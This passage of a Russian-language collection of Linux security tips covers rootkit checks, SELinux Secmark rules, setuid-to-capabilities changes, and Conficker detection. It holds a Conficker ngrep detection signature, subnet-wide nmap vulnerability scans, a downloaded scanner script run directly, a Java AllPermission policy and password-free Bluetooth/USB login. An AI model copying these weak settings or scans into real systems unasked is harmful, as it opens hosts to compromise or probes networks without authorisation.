    злоумышленников является переустановка системы с нуля. Но прежде чем прибегнуть
    к переустановке, следует убедиться, что система действительно поражена. Чтобы
    обеспечить выявление скрывающих свое присутствие руткитов проверку желательно
    выполнять загрузившись с LiveCD.
    
    
    1. Установка и запуск специализированных инструментов для выявления руткитов, например,
    chkrootkit, ossec-rootcheck и rkhunter.
    При запуске утилиты rkhunter возможно ложное срабатывание на некоторых системах
    с Debian. Вызывающие ложные срабатывания факторы описаны в файле /usr/share/doc/rkhunter/README.Debian.gz
    
    
    2. Проверка корректности сигнатур для всех установленных в системе пакетов.
    Для дистрибутивов на базе RPM:
    
       rpm --verify --all
    
    Для дистрибутивов с dpkg следует использовать скрипт:
    
       dpkg -l \*|while read s n rest; do if [ "$s" == "ii" ]; then echo $n;
       fi; done > ~/tmp.txt
       for f in `cat ~/tmp.txt`; do debsums -s -a $f; done
    
    Утилиту debsums следует установить отдельно:
       sudo apt-get install debsums
    
    Вывод измененных файлов:
       debsums -ca
    
    Вывод измененных файлов конфигурации:
       debsums -ce
    
    Посмотреть пакеты без контрольных сумм:
       debsums -l
    
    Другой вариант контрольных сумм для файлов в Debian:
    
       cd /var/lib/dpkg/info
       cat *.md5sums | sort > ~/all.md5
       cd /
       md5sum -c ~/all.md5 > ~/check.txt 2>&1
       
    
    3. Проверка на то, что установленные пакеты действительно подписаны
    действующими цифровыми подписями дистрибутива.
    
    Для систем на базе пакетного менеджера RPM:
    
       for package in `rpm -qa`; do
          sig=`rpm -q --qf '%{SIGPGP:pgpsig}\n' $package`
          if [ -z "$sig" ] ; then
             # check if there is a GPG key, not a PGP one
             sig=`rpm -q --qf '%{SIGGPG:pgpsig}\n' $package`
             if [ -z "$sig" ] ; then
                 echo "$package does not have a signature!!!"
             fi
         fi
       done
    
    
    
    4. При выявлении подозрительных пакетов их желательно удалить и установить заново.
    
    Например, для переустановки ssh в дистрибутивах на базе RPM следует выполнить:
    
    	/etc/init.d/sshd stop
    	rpm -e openssh
    	zypper install openssh	# для openSUSE
    	yum install openssh	# для Fedora
    
    Рекомендуется проделать эти операции, загрузившись с LiveCD и используя опцию 'rpm --root'.
    
    5. Проверка целостности системных скриптов в /etc/rc*.d и выявление
    подозрительного содержимого в /usr/share. Эффективность выполнения проверок
    можно гарантировать только при загрузке с LiveCD.
    
    Для выявления директорий в /usr/share, которые не принадлежат каким-либо
    пакетам в дистрибутивах на базе RPM можно использовать следующий скрипт:
    
       for file in `find /usr/share/`; do
          package=`rpm -qf -- ${file} | grep "is not owned"`
          if [ -n "$package" ] ; then
             echo "weird file ${file}, please check this out"
          fi
       done
    
    В Debian для определения какому пакету принадлежит файл следует использовать "dpkg-query -S":
    
       for file in `find /usr/share/GeoIP`; do
          package=`dpkg-query -S ${file} 2>&1 | grep "not found"`
          if [ -n "$package" ] ; then
             echo "weird file ${file}, please check this out"
          fi
       done
    
    
    Аудит suid root программ:
    
       find / -user root -perm -4000 -ls
    
    6. Проверка логов на предмет наличия нетипичных сообщений:
    
    * Проверить записи в wtmp и /var/log/secure*, обратив особое внимание на
    соединения с внешних хостов.
    * Проверить упоминание обращения к /dev/mem;
    * В /var/log/secure* посмотреть нет ли связанных с работой ssh строк с не
    текстовой информацией в поле версии, которые могут свидетельствовать о попытках взлома.
    * Проверка удаления файлов с логами, например, может не хватать одного файла с ротацией логов.
    * Выявление подозрительных соединений с локальной машины во вне, например,
    отправка email или попытки соединения по ssh во время вашего отсутствия.
    * Анализ логов пакетного фильтра с целью выявления подозрительных исходящих
    соединений. Например, даже скрытый руткитом бэкдор может проявить себя в логах
    через резолвинг DNS. Общая рекомендация сводится к контролю на промежуточном
    шлюзе соединений во вне для только принимающих внешние соединения машин и
    соединений из вне для только отправляющих запросы клиентских машин.
    
    7. Если в процессе проверки обнаружен факт проникновения злоумышленника следует
    сделать копию дисковых разделов на отдельный носитель при помощи команды "dd" с
    целью более подробного анализа методов проникновения. Только после этого можно
    полностью переустановить всю систему с нуля. Одновременно нужно поменять все
    пароли и ключи доступа, уведомив об инциденте администраторов серверов, на
    которых осуществлялась удаленная работа.
    
     
    ----* Совместное использование SELinux и iptables (доп. ссылка 1)   [комментарии]
     
    Используя утилиту Secmark можно организовать назначение в правилах iptables
    SELinux-меток для сетевых пакетов, примерно также как осуществляется назначение
    меток для локальных системных ресурсов. Подобное может использоваться для
    предотвращения доступа сторонних процессов, не находящихся под контролем
    SELinux, к определенному классу пакетов. Например, можно указать что запросы на
    80 порт (метка http_packet_t) может отправлять только определенный web-браузер
    (или процесс, имеющий SELinux-метку http_t) и никто иной.
    
    По умолчанию все сетевые пакеты снабжаются меткой unlabeled_t, а для всех
    подконтрольных процессов активируется правило, без ограничений разрешающее
    отправку и прием пакетов:
    
       allow MYDOMAIN unlabed_t:packet { send recv };
    
    При назначении меток для трафика при помощи Secmark разрешительная политика по
    отношению к unlabed_t может привести к тому, что в случае отключения пакетного
    фильтра или в момент его перезапуска, правила блокирования будут временно проигнорированы.
    
    Попытаемся отключить автоматическую установку метки unlabeled_t, которая
    назначается в Fedora Linux через SELinux-модуль unlabelednet. Если отключить
    данный набор SELinux-политик, то все подконтрольные SELinux приложения потеряют
    возможность отправлять и принимать пакеты с меткой unlabeled_t. Чтобы вернуть
    таким программам возможность работы в сети для них необходимо подготовить
    соответствующие SELinux-правила и пометить пакеты.
    
    
    Для усиления защиты ноутбука было решено подготовить простые SELinux-политики,
    запрещающие обращаться к внешним сетевым ресурсам всем системным сервисам,
    ограниченным при помощи SELinux. Всем программ, запущенные в рамках сессии
    пользователя, разрешено обращаться как ко внутренним, так и к внешним сетевым ресурсам.
    
    Подготовлено три политики доступа к сети:
    
    internal_packet_t: Iptables помечает меткой internal_packet_t все пакеты,
    отправленные в локальную сеть или приходящие на текущую машину из локальной сети;
    
    dns_external_packet_t: Iptables помечает меткой dns_external_packet_t все
    внешние обращения к DNS-серверам (udp/tcp порт 53);
    
    external_packet_t: Iptables помечает меткой external_packet_t все остальные
    пакеты, не подпадающие под первые два правила;
    
    
    Для упрощения генерации iptables-правил для назначения SELinux-меток был создан скрипт
    secmarkgen:
    
      #!/bin/sh -e
    
      init() {
      # This just tells iptables to apply the same label to incoming packets as it did on outgoing
        echo $IPTABLES -F -t security
        echo $IPTABLES -t security -A INPUT -m state --state ESTABLISHED,RELATED -j CONNSECMARK --restore
     
      # Apply a label even if its on another port but is related
        echo $IPTABLES -t security -A OUTPUT -m state --state ESTABLISHED,RELATED -j CONNSECMARK --restore
        echo 
        return
    
      }
    
      start() {
        # Create a chain for each class of packets we have.
        echo "$IPTABLES -t security -X $NAME 2> /dev/null"
        echo "$IPTABLES -t security -N $NAME"
      }
    
      fini() {
        # Label all other packets going internally to $TYPE:$MCS
        echo $IPTABLES -t security -A $NAME -j SECMARK --selctx system_u:object_r:$TYPE:$MCS
        echo $IPTABLES -t security -A $NAME -j CONNSECMARK --save
        echo $IPTABLES -t security -A $NAME -j ACCEPT
        echo 
      }
    
      setup_network() {
    
        if [ ! -z "$PORTS" ]; then
    	if [ ! -z "$NETWORK" ]; then
                # Send packets going to an $NET httpd to the $NAME chain
    	    echo $IPTABLES -A OUTPUT -t security -p $PROTOCOL -d $NETWORK --dport $PORTS -j $NAME
    	    echo $IPTABLES -A INPUT -t security -p $PROTOCOL -d $NETWORK --sport $PORTS -j $NAME
    	else
                # Send packets going to $PORTS httpd to the $NAME chain
    	    echo $IPTABLES -A OUTPUT -t security -p $PROTOCOL --dport $PORTS -j $NAME
    	    echo $IPTABLES -A INPUT -t security -p $PROTOCOL --sport $PORTS -j $NAME
    	fi
        elif [ ! -z "$NETWORK" ]; then
                # Send packets going to $PORT httpd to the $NAME chain
    	    echo $IPTABLES -A OUTPUT -t security -d $NETWORK -j $NAME
    	    echo $IPTABLES -A INPUT -t security -s $NETWORK -j $NAME
        else
    	echo $IPTABLES -A OUTPUT -t security -j $NAME
    	echo $IPTABLES -A INPUT -t security -j $NAME
        fi
      }
      usage() {
          	 $"""
      Usage: $0 -i
      Usage: $0 -T iptablescmd -P protocol -p port[:...] -N network[,...] -t selinux_type -m MCS NAME
      Usage: $0 -f NAME
      """
      }
    
      echo
      echo "#---------------"
      echo "# $0 $*"
      echo "#---------------"
      echo
      IPTABLES=iptables
      NAME=
      PORTS=
      MCS=s0
      NETWORK=
      TYPE=client_packet_t
      PROTOCOL=tcp
      FINISH=0
      START=0
      INIT=0
    
      while getopts "sfin:p:m:t:T:P:" i; do
        case "$i" in
    	i)
    	    INIT=1
    	    ;;
    	s)
    	    START=1
    	    ;;
    	f)
    	    FINISH=1
    	    ;;
    	P)
    	    PROTOCOL=$OPTARG
    	    ;;
    	T)
    	    IPTABLES=$OPTARG
    	    ;;
    	n)
    	    export NETWORK=$OPTARG
    	    ;;
    	t)
    	    export TYPE=$OPTARG
    	    ;;
    	p)
    	    export PORTS=$OPTARG
    	    ;;
    	m)
    	    export MCS=$OPTARG
    	    ;;
    	*)
    	    usage
    	    exit 1
      esac
      done
    
      # Init does not require a NAME
      if [ $INIT == 1 ]; then 
        init
        exit $?
      fi
    
      # Move out processed options from arguments
      shift $(( OPTIND - 1 ))
    
      NAME=$1
    
      if [ -z "$NAME" -o -z "$MCS" -o -z "$NAME" ]; then
    	usage
    	exit 1
      fi
    
      if [ $START == 1 ]; then 
        start
        exit $?
      fi
    
      if [ $FINISH == 1 ]; then 
        fini
        exit $?
      fi
    
      setup_network
    
    
    Скрипт можно запускать со следующими параметрами:
    
    Инициализируем secmark-метки:
       ./secmarkgen -i
    
    Определяем имя сети (имя Iptables-цепочки):
       ./secmarkgen -s INTERNAL
    
    
    Привязываем к созданной цепочке набор правил. Синтаксис команды:
       ./secmarkgen -T iptablescmd -P protocol -p port[:...] -N network[,...] -t selinux_type -m MCS NAME
    
    Например:
    
       ./secmarkgen -n 255.255.255.255,127/8,10.0.0.0/8,172.16.0.0/16,224/24,192.168/16 INTERNAL
    
    Для завершения формирования secmark-правил и их привязки к определенной
    SELinux-метке используется команда:
    
       ./secmarkgen -f NAME
    
    Например, 
    
       ./secmarkgen -f -t internal_packet_t INTERNAL
    
    в итоге будет сгенерирован примерно такой скрипт:
    
       #--------------------
       # ./secmarkgen -i
       #--------------------
       iptables -F -t security
    
       iptables -t security -A INPUT -m state --state ESTABLISHED,RELATED -j CONNSECMARK --restore
    
       iptables -t security -A OUTPUT -m state --state ESTABLISHED,RELATED -j CONNSECMARK --restore
    
       #--------------------
       # ./secmarkgen -s INTERNAL
       #--------------------
    
       iptables -t security -X INTERNAL 2> /dev/null
    
       iptables -t security -N INTERNAL
    
       #--------------------
       # ./secmarkgen -n 255.255.255.255,127/8,10.0.0.0/8,172.16.0.0/16,224/24,192.168/16 INTERNAL
       #--------------------
    
       iptables -A OUTPUT -t security -d 255.255.255.255,127/8,10.0.0.0/8,172.16.0.0/16,224/24,192.168/16 -j INTERNAL
    
       iptables -A INPUT -t security -s 255.255.255.255,127/8,10.0.0.0/8,172.16.0.0/16,224/24,192.168/16 -j INTERNAL
    
       #--------------------
       # ./secmarkgen -f -t internal_packet_t INTERNAL
       #--------------------
    
       iptables -t security -A INTERNAL -j SECMARK --selctx system_u:object_r:internal_packet_t:s0
    
       iptables -t security -A INTERNAL -j CONNSECMARK --save
    
       iptables -t security -A INTERNAL -j ACCEPT
    
    
    Для генерации iptables-правил для локальных приложений используется примерно
    такой скрипт (secmark_test.sh):
    
       ./secmarkgen -i
       ./secmarkgen -s INTERNAL
       ./secmarkgen -n 255.255.255.255,127/8,10.0.0.0/8,172.16.0.0/16,224/24,192.168/16 INTERNAL
       ./secmarkgen -f -t internal_packet_t INTERNAL
       ./secmarkgen -s DNS
       ./secmarkgen -P udp -p 53 DNS
       ./secmarkgen -P tcp -p 53 DNS
       ./secmarkgen -f -t dns_external_packet_t DNS
       ./secmarkgen -s EXTERNAL
       ./secmarkgen EXTERNAL
       ./secmarkgen -f -t external_packet_t EXTERNAL
       ./secmarkgen -T ip6tables -i
       ./secmarkgen -T ip6tables -s INTERNAL
       ./secmarkgen -T ip6tables -n FEC0::/10,::1/128,FF::/8,FE80::/10FC00::/7 INTERNAL
       ./secmarkgen -T ip6tables -f -t internal_packet_t INTERNAL
       ./secmarkgen -T ip6tables -s EXTERNAL
       ./secmarkgen -T ip6tables EXTERNAL
       ./secmarkgen -T ip6tables -f -t external_packet_t EXTERNAL
       
    Генерируем соответствующие iptables-правила:
    
       ./secmark_test.sh > /tmp/rules
    
    Устанавливать данные iptables-правила пока рано, вначале нужно определить
    соответствующие указанным меткам (*_packet_t) SELinux-политики, без которых
    использование данных меток в iptables приведет к выводу ошибки.
    
    Формируем файл с SELinux-политиками (secmark.te):
    
       policy_module(secmark, 1.0)
    
       gen_require('
    
          attribute domain;
    
          attribute sysadm_usertype;
    
          # Domains that a staff user could transition to
    
          attribute staff_usertype;
    
          attribute telepathy_domain;
    
          type ping_t;
    
          type vpnc_t;
    
          type ssh_t;
      
          type nsplugin_t;
    
          type mozilla_plugin_t;
    
          # System domains that want to talk to the external network
    
          type ntpd_t;
    
          type sssd_t;
    
       ')
    
       # Type Definitions
    
       attribute external_packet;
    
       type internal_packet_t;
    
       corenet_packet(internal_packet_t)
    
       type dns_external_packet_t, external_packet;
    
       corenet_packet(dns_external_packet_t)
    
       type external_packet_t, external_packet;
    
       corenet_packet(external_packet_t)
    
       # Allow Rules
    
       allow domain internal_packet_t:packet { recv send };
    
       allow sysadm_usertype external_packet:packet { recv send };
    
       allow staff_usertype external_packet:packet { recv send };
    
       allow vpnc_t external_packet:packet { recv send };
    
       allow ssh_t external_packet:packet { recv send };
    
       allow mozilla_plugin_t external_packet:packet { recv send };
    
       allow nsplugin_t external_packet:packet { recv send };
    
       allow telepathy_domain external_packet:packet { recv send };
    
       allow ping_t external_packet:packet { recv send };
    
       allow ntpd_t external_packet:packet { recv send };
    
       dontaudit sssd_t dns_external_packet_t:packet { recv send };
    
    
    Рассмотрим правила более подробно.
    Строка
    
       policy_module(secmark, 1.0)
    
    определяет имя модуля с политиками. 
    
    Далее следует список требований
    
       gen_require('
    
          attribute domain;
          ... 
          type sssd_t;
       ')
    
    При написании SELinux-политики необходимо сослаться на все типы и атрибуты,
    чтобы их можно было использовать в правилах. Подобные ссылки указываются в
    блоке gen_requires. Одновременно можно определить новые типы. Если один из
    определенных в gen_requires атрибутов или типов будет не определен в других
    частях правил, SELinux не активирует созданную политику. Например, атрибут
    staff_usertype предоставляется всем обслуживающим пользовательским процессам,
    sysadm_usertype присваивается всем процессам, используемым при
    администрировании, домен telepathy_domain охватывает все приложения, связанные
    с фреймворком telepathy.
    
    Далее, в файле следуют правила определения типов и групп. Создаем атрибут
    external_packet для группировки всех  правил, связанных с внешним трафиком.
    Также создаем интерфейс corenet_packet для ассоциации набора правил с пакетами.
    
       attribute external_packet;
       type internal_packet_t;
       corenet_packet(internal_packet_t)
       type dns_external_packet_t, external_packet;
       corenet_packet(dns_external_packet_t)
       type external_packet_t, external_packet;
       corenet_packet(external_packet_t)
      
    
    Далее указано правило, разрешающее всем процессам отправку и прием внутренних
    пакетов из локальной сети:
    
       allow domain internal_packet_t:packet { recv send };
    
    Следующее правило позволяет запускаемым администраторами программам отправлять
    и принимать пакеты из внешних сетей (вместо указания  xternal_packet_t в
    правиле фигурирует атрибут external_packet, который позволяет провести действие
    сразу над группой -  external_packet_t и dns_external_packet_t):
    
    
       allow sysadm_usertype external_packet:packet { recv send };
       allow staff_usertype external_packet:packet { recv send };
       allow vpnc_t external_packet:packet { recv send };
       allow ssh_t external_packet:packet { recv send };
       allow mozilla_plugin_t external_packet:packet { recv send };
       allow nsplugin_t external_packet:packet { recv send };
       allow telepathy_domain external_packet:packet { recv send };
       allow ping_t external_packet:packet { recv send };
    
    Для сервиса ntpd заведен отдельный тип ntp_external_packet_t:
    
       allow ntpd_t external_packet:packet { recv send };
    
    Для программы sssd запрещаем общение с системами за пределами приватной сети:
    
       dontaudit sssd_t dns_external_packet_t:packet { recv send };
    
    
    
    
    Теперь приступим к компиляции, установке и применению созданной SELinux-политики:
    
    Компилируем:
    
       make -f /usr/share/selinux/devel/Makefile
    
    Устанавливаем:
    
       semodule -i secmark.pp
    
    Активируем iptables-правила:
    
       sh /tmp/rules
    
    Сохраняем внесенные изменения:
    
       service iptables save
       service ip6tables save
    
    С этого момента каждому сетевому пакету присваивается одна из трех созданных
    SELinux-меток. Для отладки следует проследить за появлением avc-сообщений и при
    необходимости добавить исключения с использованием правил allow/dontaudit или
    расследовать причину появления непрошеного трафика.
    
     
    ----* Замена setuid-бита на capabilities для системных программ в Linux (доп. ссылка 1)   [комментарии]
     
    С целью избавления системы от программ с suid-битом, можно использовать следующую инструкцию.
    Для привязки capabilities к исполняемому файлу используется утилита setcap из пакета libcap2-bin:
    
       sudo apt-get install libcap2-bin
    
    Для формирования списка setuid-root и setgid-root программ можно использовать следующие команды:
    
       find /bin /sbin /lib /usr/bin /usr/sbin /usr/lib -perm /4000 -user root
       find /bin /sbin /lib /usr/bin /usr/sbin /usr/lib -perm /2000 -group root
    
    Команды для замены setuid/setgid для базовых пакетов:
    
    coreutils
    
       chmod u-s /bin/su
       setсap cap_setgid,cap_setuid+ep /bin/su
    
    dcron
    
       chmod u-s /usr/bin/crontab
       setcap cap_dac_override,cap_setgid+ep /usr/bin/crontab
    
    inetutils
    
       chmod u-s /usr/bin/rsh
       setcap cap_net_bind_service+ep /usr/bin/rsh
    
       chmod u-s /usr/bin/rcp
       setcap cap_net_bind_service+ep /usr/bin/rcp
    
       chmod u-s /usr/bin/rlogin
       setcap cap_net_bind_service+ep /usr/bin/rlogin
    
    iputils
    
       chmod u-s /bin/ping
       setcap cap_net_raw+ep /bin/ping
    
       chmod u-s /bin/ping6
       setcap cap_net_raw+ep /bin/ping6
    
       chmod u-s /bin/traceroute
       setcap cap_net_raw+ep /bin/traceroute
    
       chmod u-s /bin/traceroute6
       setcap cap_net_raw+ep /bin/traceroute6
    
    pam
    
       chmod u-s /sbin/unix_chkpwd
       setcap cap_dac_read_search+ep /sbin/unix_chkpwd
    
    shadow
    
       chmod u-s /usr/bin/chage
       setcap cap_dac_read_search+ep /usr/bin/chage
    
       chmod u-s /usr/bin/chfn
       setcap cap_chown,cap_setuid+ep /usr/bin/chfn
    
       chmod u-s /usr/bin/chsh
       setcap cap_chown,cap_setuid+ep /usr/bin/chsh
    
       chmod u-s /usr/bin/expiry
       setcap cap_dac_override,cap_setgid+ep /usr/bin/expiry
    
       chmod u-s /usr/bin/gpasswd
       setcap cap_chown,cap_dac_override,cap_setuid+ep /usr/bin/gpasswd
    
       chmod u-s /usr/bin/newgrp
       setcap cap_dac_override,cap_setgid+ep /usr/bin/newgrp
    
       chmod u-s /usr/bin/passwd
       setcap cap_chown,cap_dac_override,cap_fowner+ep /usr/bin/passwd
    
    xorg-xserver
    
       chmod u-s /usr/bin/Xorg
       setcap cap_chown,cap_dac_override,cap_sys_rawio,cap_sys_admin+ep /usr/bin/Xorg
    
    
    screen - обязательно требует setuid для выполнения определенных проверок
    
    util-linux-ng - не рекомендуется использовать данный пакет с capabilities, так
    как в реализации команд mount и umount присутствуют определенные проверки,
    которые действуют только с setuid и пропускаются с  capabilities, что дает
    возможность пользователям монтировать файловые системы к которым они не имеют доступа.
    Подробнее об опасностях, которые сулит перевод программы с setuid на
    capabilities без проведения аудита кода, можно прочитать здесь.
    
     
    ----* Проблемы с Evince при использовании нестандартного пути к домашней директории в Ubuntu   [комментарии]
     
    После обновления Ubuntu перестал запускаться просмотрщик PDF-файлов Evince, выдавая ошибку:
    
       (evince:5592): EggSMClient-WARNING **: Failed to connect to the session manager: 
       None of the authentication protocols specified are supported
    
    Причина оказалась в использовании нестандартного пути к домашней директории,
    указанной через символическую ссылку /home -> /home2. Как оказалось такая
    манипуляция требует изменения настроек AppArrmor, который по умолчанию
    активирован в последних релизах Ubuntu.
    
    Чтобы Evince заработал с нестандартным /home2 необходимо указать данную
    директорию в файле /etc/apparmor.d/tunables/home и перезапустить apparrmor:
    
       sudo /etc/init.d/apparmor reload
    
    Похожие проблемы наблюдаются с переносом директории /usr/share и установкой
    firefox в сборке Mozilla. В случае Firefox исправления нужно внести в файл
    /etc/apparmor.d/usr.bin.firefox, а при переносе /usr/share потребуется поменять
    с десяток разных файлов, определив в них упоминание /usr/share через поиск.
    
     
    ----* Настройка установки обновлений с исправлением проблем безопасности в RHEL/CentOS (доп. ссылка 1)   [комментарии]
     
    Плагин yum-security позволяет использовать в yum команды list-security и
    info-security, а также опции
    "--security", "--cve", "--bz" и "--advisory" для фильтрации исправлений проблем
    безопасности из общего массива обновлений.
    
    Устанавливаем плагин:
    
       # yum install yum-security
    
    Выводим список доступных обновлений, в которых непосредственно исправлены уязвимости:
    
       # yum list-security
    
    Для вывода всех связанных с безопасностью обновлений (с учетом зависимостей):
    
       # yum --security check-update
    
    Для вывода всех сообщений о проблемах, отмеченных в bugzilla:
    
       # yum list-security bugzillas
    
    Вывод информации об исправлениях, связанных с уведомлением о наличии уязвимостей RHSA-2009:1148-1:
    
       # yum info-security RHSA-2009:1148-1
    
    Вывод списка пакетов в которых устранены заданные ошибки отмеченные в Bugzilla, CVE и RHSA:
    
       # yum --bz 3595 --cve CVE-2009-1890 --advisory RHSA-2009:1148-1 info updates
    
    Установка только обновлений, связанных с безопасностью:
    
       # yum update --security
    
     
    ----* Работа с web-клиентом альфабанка (ibank) в Linux (доп. ссылка 1)   Автор: Vitaly  [комментарии]
     
    Краткое руководство для тех, кому в банке упорно твердят "наша система работает
    только под windows".
    На примере альфабанка для юридических лиц (с etoken) и Ubuntu 8.04.
    
    Данное руководство подойдет для всех систем на основе ibank и систем, которые используют IAIK для 
    "расширенной" связки между JAVA и PKCS11.
    
    Итак, порядок действий.
    
    1. Ставим драйверы etoken
    -------------------------
    
    Проблемы если и будут, то только с ними. Если драйверы заработают - все
    остальное будет в порядке. Претензии - в Aladdin.
    
    Берем на сайте http://aladdin.ru любую версию, которая больше нравится. 
    Возможные проблемы: на самых последних сборках убунты (9.04) драйверы отказались работать. 
    Когда выйдут версии под новое ядро - никому не известно. При желании, выкрутиться можно как-то так.
    
    В аладдине проблему подтвердили, но ничем не обрадовали. Поэтому на тестовой
    виртуальной машине для чистоты эксперимента использовал Ubuntu 8.04 LTS
    
    (!!!) Перед тем как двигаться дальше, убедитесь, что у вас полностью работает
    поддержка eToken от аладдина.
    Если PKI Client не показывает содержимого ключа - продолжать нет смысла.
    
    Теперь настраиваем то, чего не хватило альфабанку
    
    Так как цифровые подписи там реализованы при участии Java, то любопытные могут
    открыть java-консоль,
    включить лог ошибок, и все посмотреть. После каждого шага можно пытаться
    залогиниться в "центр сертификации",
    и наблюдать за новыми ошибками.
    
    
    2. Ставим Java
    --------------
    
    (!) Обратите внимание, что софт wrapper-а PKCS11, который используется в альфабанке, 
    заточен под Java от Sun, поэтому ставить IceTea и прочие альтернативы НЕ НАДО. 
    Наверное, можно попробовать пересобрать исходники под другую жабу, но я этого не пробовал.
    
    Java ставится стандартным способом, из репозиториев, комментировать здесь нечего.
    
    
    3. Ставим wrapper для IAIK (первая часть, pkcs11wrapper)
    --------------------------------------------------------
    
    IAIK - это библиотека для доступа к PKCS11 из Java-апплетов.
    
    Любопытные могут прочитать тут (http://ideelabor.ee/opensource/wiki/IdKaardiTarkvara/DigiallkiriVeebisLinuxiga),
    хотя файлы там старые (не поддерживают проброс нескольких функций, которые использует альфабанк). 
    Свежую версию я скачал на сайте разработчиков http://jce.iaik.tugraz.at/download/ . 
    
    На убунте я скопировал .so-библиотеку в каталог /usr/lib , чтобы при обновлении
    java ничего не переставлять.
    
    После этого в консоли пропали ошибки, что врапер не найден, и появилась ошибка,
    что не удается инициализировать модуль eTpkcs11.
    
    
    4. Создаем symlink на модуль pkcs11 для eToken.
    -----------------------------------------------
    
    Название модулей eToken различается под Windows и Линукс. Лечится просто.
    
      идем в каталог /usr/lib
      создаем там ссылку "eTpkcs11" на файл "libeTPkcs11.so" (это симлинк, в том же каталоге)
    
    (!!!) Обратите внимание, что буквы Р в разном регистре. 
    
    Теперь веб-клиент начинает понимать пин-код, и показывает сертификаты. Но при попытке залогиниться 
    или авторизоваться, в джава-консоли выдается ошибка, что не найден какой-то метод в классе IAIK.
    
    
    5. Ставим остатки IAIK (часть 2, java)
    --------------------------------------
    
    Берем jar-файл из архива, и копируем туда, где java его будет нормально видеть.
    На убунте у меня получился такой путь:
    
       /usr/lib/jvm/java-6-sun/jre/lib/ext
    
    По идее этого должно быть достаточно, но почему-то у меня в консоли полезли
    ошибки вида "Access Denied".
    
    Как временное решение - создал в домашней папке файл .java.policy и написал там
    
       grant {
          permission java.security.AllPermission;
       };
    
    Вообще такие политики создавать категорически нельзя. Но я совершенно не
    разбираюсь в линуксовой Java,
    поэтому пока сделал так и пошел искать более опытных товарищей.
    Естественно, можно перекрутить все конфигурационные файлы, но мне больше
    нравится, когда работают пакеты,
    поставленные из репозитория, без изменений. Как только кто-нибудь умный скажет
    мне более правильный способ - сразу поменяю.
    
    Все!
    
    Теоретически etoken работает со свободными драйверами OpenCT/OpenSC, и
    проприетарщину можно было бы выкинуть, но есть 2 проблемы:
    
    1. У них другой формат хранения данных. Точнее, это драйверы aladdin не
    соответствуют спецификации PKCS15 (хранение сертификатов).
    На страничке разработчиков OpenCT написано, что Aladdin появился на рынке до
    того, как возник стандарт PKCS15,
    поэтому к проблеме надо относиться с пониманием. Правильный метод - записать
    сертификат в ключ средствами OpenCT/OpenSC.
    
    2. Альфабанк соглашается работать только с etoken. Получить сертификат в чистом виде, 
    чтобы самостоятельно записать в ключ, у них нельзя. Они еще для полного счастья делают жесткую 
    привязку серийного номера ключа к логину.
    
    Поэтому в данном конкретном случае остается использовать проприетарные драйверы.
    
     
    ----* Обнаружение червя Conficker через пассивный анализ трафика (доп. ссылка 1)   [комментарии]
     
    С конца 2008 года червь Conficker, поражающий Windows-клиентов, заразил
    несколько миллионов машин в сети,
    занимая первые позиции в рейтингах антивирусных компаний.
    
    Для обнаружения активности червя на компьютерах локальной сети можно
    рекомендовать несколько простых приемов:
    
    1. Сниффинг сигнатуры червя через утилиту ngrep (http://ngrep.sourceforge.net/):
    
    
      ngrep -qd eth0 -W single -s 900 -X
       0xe8ffffffffc25f8d4f108031c4416681394d5375f538aec69da04f85ea4f84c84f84d84fc44f9ccc497365c4c4c42cedc4
       c4c494263c4f38923bd3574702c32cdcc4c4c4f71696964f08a203c5bcea953bb3c096969592963bf33b24699592514f8ff8
       4f88cfbcc70ff73249d077c795e44fd6c717cbc404cb7b040504c3f6c68644fec4b131ff01b0c282ffb5dcb61f4f95e0c717
       cb73d0b64f85d8c7074fc054c7079a9d07a4664eb2e244680cb1b6a8a9abaac45de7991dacb0b0b4feebeb
        'tcp port 445 and dst net 192.168.0.0/16'
    
    конструкцию нужно переписать одной строкой
    
    
    2. Сканирование компьютеров с использованием готовой маски из комплекта
    последней версии nmap ( nmap-4.85BETA6):
    
       nmap -PN -T4 -p139,445 -n -v --script=smb-check-vulns --script-args safe=1 192.168.1.0/24
    
    или оптимизировав запрос для сканирования сети большого объема:
    
       nmap -sC -PN -d -p445 -n -T4 --min-hostgroup 256 \
       --min-parallelism 64 --script=smb-check-vulns \
       --script-args=safe=1 192.168.0.0/16
    
    3. Проверить зараженность отдельной машины можно через специально подготовленный Python скрипт.
    
       wget http://iv.cs.uni-bonn.de/uploads/media/scs.zip
       unzip scs.zip
       ./scs.py 192.168.1.100
    
     
    ----* Аутентификация при помощи Bluetooth телефона или USB Flash в Debian/Ubuntu Linux (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3) (доп. ссылка 4)   [комментарии]
     
    В качестве ключа для авторизации можно использовать MAC адрес телефона с Bluetooth интерфейсом.
    Для избежания перехвата MAC-адреса, Bluetooth адаптер телефона должен работать
    только в пассивном режиме.
    Тем не менее метод можно использовать только в ситуациях не предъявляющих
    серьезных требований к безопасности
    (например, для входа на гостевую машину или только для выполнения sudo).
    
    Если bluetooth система не настроена, устанавливаем пакеты bluetooth, bluez-utils и libbluetooth2.
    Выполнив команду hcitool scan определяем адрес нужного телефона, переведя
    телефон в режим достижимости:
    
       hcitool scan
       Scanning...
       00:0E:08:BA:14:04 Moto
    
    Ставим пакет libpam-blue, если в вашем дистрибутиве его нет - 
    загружаем исходные тексты с http://pam.0xdef.net/ и компилируем.
    
    Создаем файл конфигурации /etc/security/bluesscan.conf
    
        general {
           timeout = 10;
        }
        mylogin = {
           name = Moto;
           bluemac = 00:0E:08:BA:14:04;
        } 
    
    где mylogin имя пользователя для которого будет осуществлен автоматический вход.
    
    В /etc/pam.d/common-auth добавляем строку
    
       auth sufficient pam_blue.so
    
    Добавив эту строку в /etc/pam.d/sudo можно добиться выполнения sudo без пароля
    при наличии телефона под рукой.
    
    Настройка аутентификации через USB Flash производится аналогично, 
    только вместо PAM модуля pam_blue.so используется pam_usb.so, доступный из пакета libpam_usb.
    
    В /etc/pam.d/common-auth добавляем:
    
       auth sufficient pam_usb.so
    
    Далее подключаем USB Flash и создаем ключи для пользователя mylogin:
    
       pamusb-conf --add-device myusbflash
       pamusb-conf --add-user mylogin
    
    Также можно вручную отредактировать файл конфигурации /etc/pamusb.conf.
    
    Проверяем:
    
       pamusb-check mylogin
       ...
       Access granted.
    
    Инструкцию по аутентификации с использованием датчика отпечатков пальцев можно найти на странице 
    http://www.opennet.ru/tips/info/1586.shtml
    
     
    ----* Как выделить файлы из перехваченной tcpdump-ом сессии   [комментарии]
     
    Утилита chaosreader (http://chaosreader.sourceforge.net) позволяет выделить
    пользовательские данные из лога tcpdump.
    Например, можно сохранить переданные по FTP файлы, картинки запрошенные по
    HTTP, сообщения электронной почты переданные по SMTP,
